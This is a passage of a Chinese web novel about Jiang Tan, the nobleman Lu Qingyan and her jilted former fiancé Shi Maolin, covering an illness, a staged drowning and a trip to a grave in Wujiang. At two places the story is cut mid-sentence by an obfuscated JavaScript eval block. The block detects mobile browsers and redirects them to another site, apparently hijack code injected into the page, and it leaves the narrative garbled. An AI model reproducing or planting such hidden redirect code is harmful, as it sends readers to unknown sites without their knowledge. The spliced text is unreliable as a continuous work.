原来她还是有几分在意自己的,看自己与旁人说笑,竟暗暗留意了。 陆青檐缠紧了她,心情愉悦地说:“不止。你可以问一问我还学了什么,只要你问,我立刻告诉你。” 姜昙默了片刻:“你什么时候离开盐城?” “姜昙。” 她听见他在磨牙,一字一字地挤出来:“你可真是煞风景。” 过了会儿,他心情不知怎么又好起来:“不过没关系,郎心似铁,我自愿意。只要我一直守着你,不怕等不到你回头的那一日……” 姜昙没忍住打断他感天动地的深情剖白:“这也是跟那些夫人小姐们学的?” 身后之人深长地吸了口气。 他又开始了。 片刻后,语气恢复如常:“我给你疗伤。” 陆青檐抬起她的手腕,臂上那道疤痕昨夜被他胡乱包了一下,包得不太严实,现下已经散开了。 陆青檐索性将布条丢到一边,凑近观察伤口。 他的眼神不好,屋子里又暗得很,他的眼睛几乎要贴到姜昙的手臂上去,一寸一寸沿着手腕辨认伤处,湿漉漉的呼吸像粘在了上面。 怪不舒服的。 姜昙甩了甩手,伤口擦过陆青檐的唇,他不知怎么想的,竟在上面舔了一口。 瞬时间,姜昙浑身的鸡皮疙瘩都起来了。 她悚然回头:“你在干什么?” 陆青檐的发簪不知掉到了何处,长发服帖地盖在两侧。闻言抬眼来看她,嘴角有丝丝血迹,眼尾微红,眼珠黑漆漆的。 此刻看来,倒真像从山上爬下来或者从水里钻出来的什么嗜血怪物。 这让姜昙想起某个人。 陆青檐自得地笑,冲散了那股熟悉感:“书上是这么画的。” 姜昙躺了回去,懒得问他是什么书,他却不依不饶地凑过来:“你猜是什么书?” 姜昙面无表情闭眼。 陆青檐又开始磨牙,非要贴近耳朵告诉她:“是精描的春宫。” 姜昙连眼睛也不睁:“医书上说,人的唾液没有任何疗伤作用,甚至有伤者因此而感染,不到三日就去世了。” 受伤的是她,被感染的也是她。 陆青檐好像受到诅咒的是自己一样,更加咬牙切齿了。 “姜、昙!” 他气冲冲地下榻去了,屋内一片漆黑,他好像还绊了一下,黑暗中的呼吸越发急促且沉重。 门被用力打开又阖上。 姜昙终于睁开眼看了一下,绊倒的是凳子,顶多腿疼一会儿,何至于那么生气。 于是阖上眼,这次竟真的睡了过去。 醒来时天已大亮。 姜昙起身,发现伤口上的纱布缠得比胳膊还粗。 这应该是陆青檐亲手包的,因为他好像不知道怎么打结,最后竟然绑在了床头的柱子上。 良久,姜昙无声叹气。 她拆开纱布重新包扎,穿衣推门出去。 一推门,对上紫珠瞪大的双眼。 紫珠惴惴不安站在对面的门边,身形前所未有地端正,看见姜昙出来,一脸震惊。 啊,她忘了。 她的榻上又湿又冷,后半夜他们在对门屋子里,也就是陆青檐的榻上睡的。 姜昙张口欲解释,却发现陆青檐一直冷脸坐在椅子上,方才竟没有看见他。 陆青檐眼神斜过来,看起来能冻死个人:“身为婢女,不知道主子起身时该做什么吗?还不服侍你家姑娘梳洗!” 紫珠反应过来,连忙准备去打水。 姜昙叫住她:“不用了,房内有水,我已洗漱过。今日头痛,发髻就这么着吧。” 陆青檐:“那就摆膳。” 紫珠又是站着不动,对上陆青檐冷飕飕的眼风,才恍然大悟:“奴婢、奴婢这就去!” 陆青檐斥道:“木讷至极。” 姜昙拉住紫珠的手:“我的侍女和我一样,脑袋不灵光。陆长公子既然比我二人伶俐,不如你来摆膳。” 陆青檐冷脸片刻,缓缓而笑:“好。” 他竟真的去厨房了。 姜昙说道看了了一眼外面,时至正午,天光刺眼。 已经过了这么久,他的气竟还没有消吗? . 紫珠眼神木然地扒饭,味同嚼蜡。 她实在咽不下去了。 侧头对姜昙耳语:“姑娘,咱们这样是不是不太好?” 说着,她的眼神往一旁瞟。 陆青檐唇角紧紧地绷着,神情不善地坐在小凳上,面色发黑。 看一眼都觉得心惊。 姜昙神情自若给紫珠夹了一筷子鱼肉,示意她只管吃。 紫珠怎么也吃不下,小声唤道:“姑娘,姑娘……” 连声的呼唤招来了冷言冷语的陆青檐:“食不言,寝不语。姜家没有教过你——” “紫珠。”姜昙冷不丁地说:“往后嫁人,定要寻一户规矩少的人家,只有这样的人家才值得托付终身。” 紫珠愣愣点头。 姑娘怎么突然说起这个。 与此同时,她们的身后,陆青檐黑着脸沉默。 就这么吃完一顿饭。 紫珠战战兢兢地吃了饭,还喝了新沏好的香茶,连滋味都没尝出来,但那茶一定是极好的。 因为是陆长公子亲手沏的,甚至亲手端至眼前。 紫珠起初没敢接,是姑娘理所当然地接过喝了一口,在陆青檐的眼神逼视下,紫珠才不得不接的。 今日太阳很好,姜昙浣发后坐在花架下晾头发。 紫珠握着梳子,一下一下从头梳到尾,感慨今日也算是见了回世面。 “不愧是世家大族的公子哥,规矩分毫不差,茶沏得也好。可见并不是那些在家中衣来伸手、饭来张口的纨绔,想来是有真才实学在身上的……” 姜昙被太阳晒得犯懒,声音也懒洋洋:“会沏茶就是有真才实学?有些规矩,只是世家大族装给外人看的。外面看着华丽,实则金玉其外败絮其中。” 紫珠讷讷说:“那世家大族总不至于连如何伺候人都要教给子弟吧?陆公子那姿态不似作假,倒像是真伺候过人似的。总不能跟我一样,还被家里卖了去做奴婢。” 姜昙睁开了眼睛。 细想之后,不得不承认,紫珠说的有几分道理。 . 又过了一日,姜昙打算离开。 这日天色看起来尚可,姜昙雇了辆马车和紫珠一起回城去。 料想琴夫人找不到他们,耐心耗尽,应该不会再追了。 姜昙以前在城中置办过一间私宅,放了很重要的东西,姜昙要拿了它再离开盐城。 紫珠见姜昙脸色不好,担忧地问:“姑娘,不如再等一日,明天再回城去吧?” 姜昙摇头:“时间来不及。” 离开盐城后,她还打算再去一个地方。算算日子,时间不多了。 俗话说得好,赶早不赶晚。 马车启动的那刻,陆青檐掀帘进来,笑问:“我身上一个铜板也没有,寸步难行。不知方不方便让我搭车,反正顺路。” 不知顺的哪门子路。 姜昙也笑:“陆公子请便。” 陆青檐没有一起坐在马车里,掀帘只是为了获得允许,他出去和车夫坐在门外。 这几日相处,他仿若恢复了两人初识时候的礼貌和分寸。 不过姜昙知道他是装的,且装不长久。每次她说话不如他意,他便生气摔门而去,片刻后又笑盈盈地回来。 不愧是世家大族的子弟。 姜昙由衷感叹,变脸的功夫陆家一定仔细教过,不过陆长公子似乎学艺不精。 出门时艳阳高照,半路忽然阴沉沉的,再过一会儿竟下起了雨。 起初是密密的小雨,后来是豆大的雨珠,或许还起了风,因为雨珠砸在车顶上听起来杂乱无章。 吵闹至极的雨声中,车帘被掀开,陆青檐说:“马车陷入了泥潭,我们得下车。” 紫珠手足无措:“那怎么办?姑娘身体不舒服,根本走不了路啊。” 他这才看见姜昙躺在紫珠的腿上,原先以为是在睡觉,现下细看才发现她脸色惨白,额头淌着汗。 这么大的动静,连眼睛都未睁开,显然是已经昏迷了。 “你怎么不早说!” 陆青檐脸色阴沉地可怕,进来脱下外衣,将姜昙拢得严严实实,兀自下车去了。 紫珠一脸苦色,自言自语:“姑娘根本不想让你知道……” . 姜昙自己知道身体瘦弱。 自她到吴江寻亲,刘仲青第一眼看见她就面露嫌弃:“怎么跟个小鸡崽子似的?” 刘仲青并不文质彬彬,有时毒舌又粗俗,总能一句话戳中人的肺管子。 姜昙刚去吴江时,时常被他气得哭得上气不接下气,刘仲青眼见着就更加嫌弃她。 姜昙因此发了狠心,控制不住泪意时,就胡乱擦干眼泪,非得日夜练习拳脚直到再也动弹不得为止。 托刘仲青的福,姜昙后来已能轻易撂下两三个衙役。 可也是因为刘仲青,她变成了这副动辄起热到昏迷,甚至比十七岁前还要虚弱的模样。 尤其耐不住冷。 一到秋冬,必定要生病。 姜昙这些时日忙的团团转,险些忘了时日,待想起来,已经昏迷不醒了。 再有知觉时,是在某人的背上。 姜昙眼前一片漆黑,她动了动手,头顶的衣服掉在肩上,眼前才一片清明。 此时雨已经小了许多,路上雾蒙蒙的一片。 “陆青檐?” “是我。” 她拖过他一次,他也背过她一次,竟扯平了。 姜昙很疑惑:“你怎么不把我放在路边亭子里,我还病着。” “你若愿意,我现在把你放在那里也不迟。不过你愿意吗?” 陆青檐想起什么事情,忽而冷笑:“你宁可病着也要回城,我自然得成全你,还得去看一看到底是去见谁?” 姜昙此刻并不生气:“见我娘。” “你娘——你娘……不是逝去了吗?” “对,我把她烧成了一把灰。” 想来可笑,姜昙以前不信鬼神,不知什么时候开始,对鬼神有了十二分的虔诚。 “我要亲自请她离开。” 她怕娘亲痴恋那个负心人,不肯跟紫珠走。她是娘的女儿,如果是她亲自劝,娘一定会愿意离开。 陆青檐默然,片刻后他说:“我少时,我生母也曾这么背过我。” 那位传说中的花魁没有名字,旁人称她燕娘,外面的人这时总要对视一笑,然后特意提起,这名字取自燕好之意。 传闻当初燕娘知道自己怀孕后,嫌恶得紧,立刻就要喝药落胎。只因当时伪装身份的陆国公抛弃了她,燕娘只当陆国公是个装相的假富商,顿觉吃了苍蝇一般恶心。 然而后来打听到陆国公的真实身份,便喜滋滋的生下孩子,奔赴扬州认亲。 后来的事,便如之前知道的传言一般。 姜昙沉默良久:“你的意思是……我有些像你娘?” 陆青檐死死压抑着变得急促的呼吸:“姜昙,你真是——” 姜昙悠然睡去。 醒来时已回到盐城的宅子里。 姜昙只躺了半日,便请观里的道士来了一趟。 高深莫测的道士挥舞着桃木剑,口中念念有词,吞入一口酒,吐出一口火。但他具体在做什么,姜昙完全看不懂。看到眼前一切犹如当年在吴江看到那个驱邪的神婆,只觉荒诞而不真实。 做完这一切,道士问:“逝者可还有遗物遗落在外?” 姜昙摇头,很快她想起姜府那个牌位,不知道算不算。 道士捻须沉吟:“这怕是难办。” 意思就是非得拿回来不可了。 姜昙思来想去,还是决定试一试,然而只过了半个时辰,紫珠就捧着牌位恭恭敬敬地请了回来。 “怎么拿回来的?琴夫人发现你没有?” 紫珠摇头,随后朝园子里抬了抬下巴。 陆青檐正坐在水边拨弄花草。 娘亲的牌位,竟是他想办法弄回来的。 依照道士若托,姜昙将所有遗物一起烧了,俱装在沉甸甸的骨灰坛中。 做完这一切,姜昙又在蒲团前跪了很久,思考她与陆青檐如今的关系。 若死者有灵,她此刻倒想将刘仲青请出来问一问。 想了又想,姜昙站起来,准备往水边去。 紫珠急急忙忙地跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128626|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“施茂林他——他找上门来了!” 姜昙如今脑中一团乱麻,听见施茂林这三个字更是烦得紧,下意识就道:“不见,赶他走。” 紫珠便要去赶他。 可是很快,姜昙又叫住她:“算了。他起初应当只是猜测我们在这里,可方才见过你,他已经肯定我一定在此处。如果不见他,不知道要闹成什么样。” 施茂林心思简单,若是被盐城谁家的熟人看到,传出了什么话,恰好到琴夫人的耳朵里,那她恐怕不能安然出城了。 看到施茂林的那一刻,姜昙暗暗叹气。 上次见他春风得意,一身锦衣。可如今的施茂林称得上衣衫褴褛,满脸丧气。 只有看过来的眼睛还有生气,见到姜昙的那一刻,犹如一潭死水迸发了生机。 “妙仪,阿昙!” 姜昙皱着眉打量他。 施茂林显然是遭遇了什么事,换作以前,她定然会小心地问,照顾他的情绪同时再想办法,帮他一起解决。 如今她一点没有这样的心思。 姜昙不想知道他身上遭遇了什么巨变,碰到了什么难题。就算看了出来,也会当做没看见。 姜昙问:“我同琴夫人闹了龌龊,不能让她知道我的行踪,你能保密吗?” “能,当然能!”施茂林连连保证。 姜昙在瞧见他欲言又止的同时转身:“往后就不要见面了,这会给我带来麻烦。” 施茂林尚且算个体贴的人。 以往听到谁有难事,他第一时间回为那人考虑,这种情况他定然说不出自己的难题来。 可姜昙错估了他,施茂林这次遇上的不是一般的难题。 更何况,他早已变了。 “阿昙!” 施茂林在后面叫着她:“门路是假的,都是假的!我的银两被骗光了,我的前程也被毁了!你要小心陆家的人,陆家人骗了我!” 说到伤心事,男子汉大丈夫竟泣不成声。 “陆家人?”姜昙敏感地转身问:“哪个陆家人?” 施茂林一副恍惚模样:“我不知道。他们只说是陆家的贵公子,不知道是谁,我去找子扬帮忙,可他也不中用。谁都不中用!我的银两都被抢走了,销金窟赌坊一直在找我……” 姜昙犹豫了许久。 最终还是对紫珠说道:“去寻个脚夫,送他上去泰兴的船。” 施茂林神色恍惚的模样在姜昙脑海中挥之不去,她想不明白到底是哪个陆家公子,又或许是施茂林搞错了。 他先前不知怎么得罪了陆家,若是老祖宗不满要教训他,也是说得过去的。 一直低头想事,竟没留意前面有人,直直撞了上去。 姜昙被撞了个倒仰,才看清面前之人是陆青檐。他眼神戏谑接住她的腰肢,一把将她捞回来。 “没想到你如今竟这么柔弱了,又是起热昏迷,又是平地摔倒。” 他说的太快,姜昙还未来得及细想“如今”是什么意思,便听到他的下一句:“走这么快?什么猛兽在后面追你吗?” 说着,他笑着往她身后一看,自然就看到了门口不肯走的施茂林。 陆青檐微妙地变了脸。 姜昙不知怎么,此刻竟感觉到尴尬:“他——他经过此处,所以来看看我,不过马上就离开。施茂林近来有急事需要处理,你最好……不要与他见面。” 陆青檐似笑非笑:“阿昙是怕他知道我在此处,误会你我有情,从而耽搁你们二人破镜重圆?” 怎么一说话就是刺。 姜昙想起了初识那阵,皱眉道:“你以前不是这样,怎么现在字字句句都……” 陆青檐拂袖而去:“抱歉,我正在拈酸吃醋,故而忍不住。” 姜昙顿觉头大。 事情越来越乱,要不再找个会请魂的道士来一趟吧。 施茂林坐在门口不肯离开。 他心知自己应该离开,双脚却不听使唤,他不应该离开阿昙的,此刻他才感觉到无穷无尽的悔意。 若是按照他与阿昙的计划,今日他们或许已经成亲了,成为十里八乡都羡慕的一对美满夫妻。 可是如今一切都没了。 在扬州的十几日像梦一样,美丽的扬州突然化身成危险之地,处处都是陷阱。 销金窟的打手可能在某一个巷子潜伏着,只待他进去就把他套上麻袋绑起来。 还有那些狗官…… 施茂林眼前忽然出现一片锦绣的衣摆来。 他几乎以为扬州那些纵马从他身上跨过,嘲笑他吓了一身尿骚味的公子哥又来了。 施茂林下意识地抱住脑袋。 上方却有一个关切的声音呼唤他:“施兄,施兄?你怎么坐在这里?不要害怕,我是你的好朋友青檐,你看看我。” 施茂林怔怔抬头。 陆青檐眉目如画,浅笑低头:“施兄,你可是遇到什么难处了?” . 为了静下心,姜昙一件件地整理行李。 一阵急促的脚步声直逼房门,姜昙听出来那是紫珠。果然下一刻紫珠就推门而入,气喘吁吁地说:“姑娘,你快去看!大事不好了!” 果真是大事不好了。 陆青檐又落水了。 那么大的水池子,他坐在旁边拨弄花草,也能拨弄到水里去。 真是让人服气。 紫珠路上匆匆解释:“不是陆公子,是、是施茂林!他不肯走,奴婢只去了路边叫个人的工夫,回来就看见陆公子掉进了水里!” 陆青檐是个十成十的旱鸭子。 紫珠叫了几个人在水里捞了半天,终于将陆青檐捞了上来。 姜昙快步赶过去,就看到一人浑身湿淋淋地躺在岸边。 双目紧闭,生死不知。 德庆八年初。 刘仲青从江中被打捞上来的那一日,她连滚带爬地去看,也是这幅情形。 姜昙眼前一黑,紧接着脚下一软,险些跪在地上。 “姑娘!” 紫珠来扶她,姜昙几乎是被她拖着走过去的。 拨开人群去探陆青檐的鼻息,察觉到他微弱的呼吸,姜昙才松了口气。 路边喊来的盐城汉子自小识水性,在陆青檐背上一拍,他吐了几口水,便微微睁开眼睛。 “施兄,我们再怎么都是朋友,以前的情谊难道是假的吗?” 陆青檐问:“为什么要推我?” 58. 第 58 章 说话时,陆青檐微微喘息着。 或许是因为劫后余生而心惊,又或许是被昔日好友伤害而伤心。 陆青檐的眼眶泛着红色:“我并非不是真心帮你,只是忠言逆耳说了几句,你听着不如意便罢了,何至于如此待我?” 施茂林不可置信地看着自己的双手,整个人犹如在梦中一般,许久才想起刚才的事。 在此处见到陆青檐,原本是很欣喜的。 可是很快施茂林又想起来,母亲如今气得卧床不起,自己一无所有如丧家之犬被人追逐,全都是因为他们陆家人害了自己。 那位范大人只说是陆家公子的吩咐,并没有说是哪一位,那么子扬有可能是,眼前的陆青檐更有可能是。 施茂林便对陆青檐有了几分警惕。 可是陆青檐偏不长眼色,非要与他说话,不知怎么就走到了水边。 施茂林再也不想接近陆家人,与他无话可说。 可这时候,陆青檐忽然提起了姜昙:“施兄,好巧在这里遇到你。有一个好消息与你分享,我与阿昙不日将要成婚了。” 说起话时,他轻轻地笑起来。面上是如沐春风般的得意,嘴角带着明晃晃的挑衅。 和那日在范府中含笑问他“可知道昙花”,是一模一样的神情。 ——施兄你猜,为什么昙花总是在夜半至黎明时开? ——因为承不了太多雨露,撑不到天命,就不行了。 原来在品味出他的恶意之后,这话竟如此浅显易懂。 他不装了? 他为什么不装了呢? 施茂林耳中有尖锐的轰鸣声,因为听不到外界的声音,出奇地吵闹且寂静。 有声音叹息着告诉他两个字:姜昙。 是姜昙啊。 原来是姜昙。 那夜他趴在客房门上听到的动静,原来是姜昙与陆青檐缠绵时的亲吻声、喘息声,竟是他们□□好的动静。 此刻陆青檐衣冠楚楚地站在他面前。 然而褪去衣衫,他的脖颈、胸前及背后,是否有和范府那日一样的抓痕和吻痕呢? 一定有! 施茂林痛苦地捂住了脑袋,陆青檐关切地走近: “施兄,你怎么了?” 陆青檐,陆青檐! “陆青檐!” 施茂林双目赤红,将身边的人推了下去。 . “茂林,冷静。” 姜昙出现在施茂林眼前,她的声音很低,却莫名令人心安。 从前他发脾气时,她总是一句话就能让他安静下来,并且给出令人信服的解释,像是坠入枯井时从上方抛下来的一根绳索。 施茂林视她为救命稻草:“阿昙,阿昙,我不想这样的……” 他面上露出痛苦的神情,双手抱头,一双求助的眼睛看着姜昙。 与此同时,他自然也看到了被姜昙护在身后的陆青檐,干衣之下盖住的身躯瑟瑟发抖,眼尾微红,看起来十分美丽而可怜。 这时,陆青檐忽然抬眼与他对视,眉梢眼角都是笑意,像是恶作剧得逞之后的得意。 陆青檐缓缓低头,靠近阿昙的耳边,无声挑衅—— 蠢货。 他是故意的!这是他的又一个伎俩! 施茂林的呼吸急促起来,姜昙挡在陆青檐身前,眼神警惕地叫他冷静。 “阿昙,他不是好人!离他远一点!” 姜昙只好对陆青檐说:“你先回去。” 陆青檐在她耳边轻声应道:“好。” . 姜昙自认为,是一个残忍之人。 待所有人离开,周围只剩下他们二人,水边还有陆青檐留下的大片水痕。 从水中被救起来后,他只不过在此处静立了片刻,就淌了这么多水。 天气阴冷,若是换了她,肯定要大病一场的。 “阿昙,陆青檐不是好人,那些达官贵人都不是好人,你曾与我说过的,离他……” 姜昙打断他:“你记得这么清楚,那我们分开时说过什么,你还记不记得?” 施茂林顿住了,他讷讷说:“是我错了,我不应该与你分开。” 姜昙摇头:“不是这句。” 她替他一字一句回忆:“将近三千两的嫁妆,我让你送到赌坊,剩下的签他们应该不会追究。” 是这句才对。 姜昙问:“茂林,你有没有照办?” 没有。 施茂林觉得区区一个赌坊而已,还是一个黑赌坊,官府断不会容忍这种地方存在。 若是他做了武举人,一只脚踏进了官场。用钱笼络几个官员,请他们帮自己解决这件事不是问题,还能兼顾人情,一举两得。 可没想到的是,他根本就做不了武举人。 施茂林将自己从赌坊拿到的银两,全部送给据说有门路的前任武举官范大人。 可是初时说的好好的,等到放榜那天,他来来回回找了几十遍,才敢确认上面没有他的名字。 他不服地去范府,家丁将他当作无赖打了出来。 于是他在门外等啊等,终于等到坐轿回家的范大人,又被打了一顿,从他口中得到了“陆公子”这个名字。 看到施茂林沉默的样子,姜昙苦笑:“我就不该见你。” 施茂林连连哀求:“阿昙别走!你帮我想想办法,我已吃了大教训,我知错了!以后一定会改好的!” 姜昙不为所动。 施茂林竟流下眼泪来:”阿昙,我们毕竟走过了这么多年,我是真心喜欢你。我其实一点也离不开你,我也想过做普通人的。可我舍不得你跟我一起受苦……若不是你家遭了难,你原本配的是世家公子,而非我这样一个山野莽夫。还有我娘,我知道她小心眼,若我不争气些,在她面前总是没有底气。你嫁过来必定会受苦,到时我连替你说话也没用效用……我没动你的嫁妆,我原本想着还给你的,可是不知道,它们不见了……“ 施茂林满面哀戚地跪下来。 姜昙控制不住地落泪:“茂林,我也是真心喜欢你的。” 施茂林眼神希冀,膝行过来。 下一刻姜昙后退,擦干了眼泪:“但我现在也是真的不想与你一起,当初说好了分开,那就是要分开,不可更改。” “不,我不信,三年的情谊,你怎么忍心……” “我忍心。” 姜昙淡淡地说:“有件事,我一直没有告诉你。你遭遇的一切,我可能都知道。你说中举的那天,我就奇怪,分明没有到放榜的日子,你怎么能知道自己提前中举。后来我明白了,你要买通考官,可你知不知道,扬州府最是富硕,官员油水捞不尽,你的那些银两到他们眼前无异于蚊子肉,凭什么卖给你?” 施茂林怔住。 “还有你身边那位红柳姑娘,我在赌坊见过她。你又知不知道,赌坊打手其实对她言听计从,私底下处置人时,她最喜欢将人剁碎喂鱼。” 施茂林不可置信。 “短短一月,输掉万两白银。你是当局者迷,大可随意找赌坊外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144193|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人问一句就知道,这数字匪夷所思。偌大的赌坊,在扬州官府眼皮子底下风生水起,你猜猜背后又是哪位大人在撑腰?” 施茂林已说不出话来。 “留给你的几千两嫁妆,若你能交给赌坊,他们就会消停。因为如此巨大的数额,闹到官府去,反而会惹上麻烦。只要你稍微抵抗一下,赌坊会就此罢手。” 这是姜昙给陆青檐的最后一次机会。 但同时姜昙也深知施茂林的秉性,她知道他不会改,且一定会犯错,最终陷入万劫不复之地。 从分开的那天,姜昙就看出了他浑身不对劲的地方。 但是从头到尾,她一次也没有提醒过他。 她其实是一个残忍之人。 “忘了我吧,以后别来找我。就算路上遇见,也千万要装作不认识。” 姜昙将袖中的书信拿出来,放在施茂林身前。 她当初有一桩婚事的,只是后来遭遇巨变,与男方渐渐失了联络。施茂林知道这件事后,非要也写一封婚书给她。 他本就不识得几个字,握笔几乎是要了他的命,为了写好这几个字,颇费了一通功夫。 不过,这都是过去的事了。 陆青檐在路的尽头等她:“方才施兄说欠了银子,欠了多少?我身边没有,但家中可以凑一凑。他见了我生气,你代我交给他吧?” 陆青檐恳切地看着姜昙,片刻后听到回复: “不用管他。” . 施茂林头痛欲裂。 阿昙眼睁睁看着他接近悬崖,即将掉下去,她竟一个字都没提醒他。 施茂林有些怨恨她。 才分开几天,她就与陆青檐走到了一处,她一定早就想分开了吧? 嫌他烦,嫌他笨,所以才对他生死不问。 可施茂林又想,这一切是自己自作自受,和阿昙有什么关系呢? 是他与红柳滚到了一张床上,是他从在赌坊里输了那么多银两,一次又一次停不下来。是他轻信旁人的话,才让近万两银子打水漂。 是他贪图富贵,是他自以为是。 啊啊啊啊啊啊啊啊! 施茂林在街上漫无目的地闲逛,自暴自弃地睡在乞丐窝里。 乞丐回来一看,竟有人敢霸占老子的地盘,踢了他一脚,才发现这人身形高大,像是个练过拳脚的汉子。 乞丐不由有些害怕。 然而这家伙疯疯癫癫地笑着,哭着,被人踢了也不气,反反复复不知道在说什么。 乞丐凝神听了会儿,发现都是什么“悔恨”“错了”“银两”的话,不禁有些同情他: “钱没了可以再赚,你好手好脚的不比我是个瘸子,哪里不能做工?码头就有扛包袱的,一天六十文呐!攒上几年找个媳妇儿,日子怎么不算如意呢?” 施茂林如梦初醒。 对了,阿昙的嫁妆……阿昙的几千两嫁妆,他要还给她的。 施茂林忽然来了力气,从地上爬起来,先前混沌的脑子忽然清醒了些。 他要去挣钱,他急着去挣钱! “谢谢兄弟。” 施茂林匆匆走出去。 乞丐莫名其妙地被道谢,心情竟还有点他大爷的好,他舒舒服服地睡在窝里。 却见方才离开的汉子又回来了。 不是走回来的,而是被人一脚踹回来的,踹飞后掉在地上,趴着吐血,爬不起来了。 一片绣着暗纹的衣角出现在眼前,悠悠问道: “施兄,上哪去?” 59. 第 59 章 刚上船时,陆青檐在船头自命风流地看江景,汪汪的江水流速极快,他倒不怕掉下去。 又是喝茶又是吃糕,花的还是姜昙袋中的银两。 先前让他衣食自理,他颇为大方地包了所有的花费,然后从沉甸甸的钱袋中抽出了一张一百两的银票。 要命,姜昙还想多活几年。 万一船上有见财起意的亡命之徒,他们也就不用去吴江了,提前几十年同她娘和刘仲青团聚。 最后这钱袋就到了姜昙手里,由她代为保管,不过陆青檐的一切花销,暂时也都要由姜昙来付了。 听见这个消息,他还挺乐意。 喝了茶再去吃糕,在江边坐了一会儿,又瞧上了船上卖货郎手里的东西。 “姜昙。”陆青檐招手叫她过来,指着卖货郎的挑担:“我要玩那个。” 船上的小童将货郎的两个挑担围得水泄不通。 姜昙认命地挤进孩子堆里,艰难地拿起五彩的泥人:“这个?” 陆青檐摇头。 于是她又抢了一个小童抱在怀里的不倒翁:“这个?” 还是摇头。 小鸟,风筝,花灯笼……都不是。 姜昙恼了,陆青檐摊开手:“我全都要。” 小童们齐齐扭头,不可置信地瞪大了眼睛。 “收一收,现在这都是我的了。” 小童们抓着小玩意儿不放,陆青檐残忍地一一掰开他们的手,一个一个收回来。 姜昙在这么多小孩的眼神中坐立难安:“这么多,你玩的了吗?” “玩不了,不是还有你吗。” 陆青檐的语气坦然,说着,他递给她一个拨浪鼓,在她耳边咚咚敲了两声。 “给你。” 姜昙默默离开他几步,表明自己与他没关系。 许是老天有眼,不多时,恶劣至极的陆青檐在船头受了风,连声说头疼,回舱里休息去了。 姜昙趁机把他买的那些玩意儿分给了船上的小童。 一直到吴江,陆青檐都没有出来。 直到船停下来,姜昙去敲他的门,他才迟迟开门。 一张脸白的过分,姜昙看了他一会儿,去摸他的脉:“你哪里不舒服?” 陆青檐将手臂高举起来,笑笑地看着她,似乎很期待看她上蹦下跳的样子。 姜昙头一回无礼地翻了个白眼。 “姜昙——” 陆青檐拖着长长的调子,亦步亦趋地追着她,十分纳罕:“这就是你们姜家的礼仪和教养?” 姜昙没好气地说:“我看你根本没病,活泼得很。” “谁说的,是你们吴江的风太大了,吹得我头疼。不信你瞧瞧,脖子跟断了一样,这究竟是得了什么病?” 陆青檐二话不说脱衣服,要她给自己仔细看一看。 他又没有外伤,头疼只能是从内里,这怎么能看得出来? 下船后路过渡口的集市,姜昙随手拿起一个帷帽,盖在陆青檐的脑袋上。 江风吹过来,白色的薄纱扬起。 陆青檐从中露出一张愠怒的脸:“什么意思?我如此一张天颜,竟见不得人?” 姜昙说:“不是说被吹得头疼,这个正好帮你挡风,而且太阳也大得很呢。” 陆青檐便乖乖把帷帽系好了。 两人之间隔着一层影影绰绰的白纱,她看不清他神色如何,却听见他在笑:“姜昙,你是不是喜欢我?” 姜昙捂住耳朵,大步离开。 陆青檐不依不饶地跟着她,在她耳边反反复复地问。 姜昙心中狠狠叹气:她以前怎么会觉得他是喜静之人呢? 分明聒噪得很! . 姜昙去祭拜刘仲青。 去之前她想了许久,都没想到刘仲青喜欢什么。不是记不起来,而是当初年少气盛,还没有学会体贴与照顾亲人,所以从未注意到这些事。 陆青檐跟着她在集市路口站了半晌,终于忍不住冲进纸扎店,叫掌柜把店里所有的东西都包起来。 姜昙及时清醒,制止了他这种不过脑子的行为。 可也多亏了陆青檐,姜昙知道要给刘仲青送什么了。她从铺子里挑了一些香烛、元宝及纸钱带走。 吴江的逝者都喜欢,刘仲青应该也喜欢,这总不会出错。 刘仲青实则没什么亲人。 当初他死时,尸体无处安放,最终灵堂设于吴江县衙,供友人祭奠。 因为早在上任后,刘仲青就已变卖私宅,他几乎没有任何宗族亲友,连跟他最久的杨修文也不知道他的底细。 他只有姜昙一个侄儿,可连姜昙也只是听过母亲提过一句,来之前甚至不知道此人姓甚名谁,是一位舅舅还是姨母。 他死后第三日,陆陆续续有客到访。 可杨修文说,那些都是刘大人昔日的同窗和学生,更有些许多受过他恩惠之人,连杨修文也没见过。 从这些哀泣着讲述过往的人口中,姜昙拼凑出了刘仲青的过往。 侠肝义胆,黑白分明。 当初路人抬棺,如今无人问津。 经年累月的风刮日晒,墓碑上已有裂隙,坟头到处是枯树杂草,看起来很久无人打理。 于是拔干净坟上的杂草,将灰尘扫落,又将墓碑擦得干干净净。 只是坟上一棵矮树难除,姜昙和紫珠合力拔了很久,都没能除掉。这时横亘而来一双手,一只握紧矮树一端。 “让开。” 陆青檐把姜昙挤到一边,紫珠也松开手,愣愣地看着陆青檐把树拔起来。 陆青檐拍拍手,对姜昙扬眉:“我好不好?” 姜昙把原本想谢他的话咽下去,反常的是,陆青檐竟也没追问。 从方才起他话就很少。 姜昙问:“你又头疼了?” 白纱之下,陆青檐的呼吸声紊乱,他缓了缓才低声说:“是呀,吴江这地方约莫与我命里犯冲,从上船开始我就难受,何况眼下是在荒芜的郊外。听说有些人生来阳气弱,我该不会是撞鬼了吧?” 陆青檐凑近姜昙,语中带笑:“不过要治好我也简单,只要姜姑娘请我吃一桌周记酒楼的珍馐美食就好。” 周记酒楼是吴江最大的酒楼,一桌席面要花好几两银子。 他可真会挑。 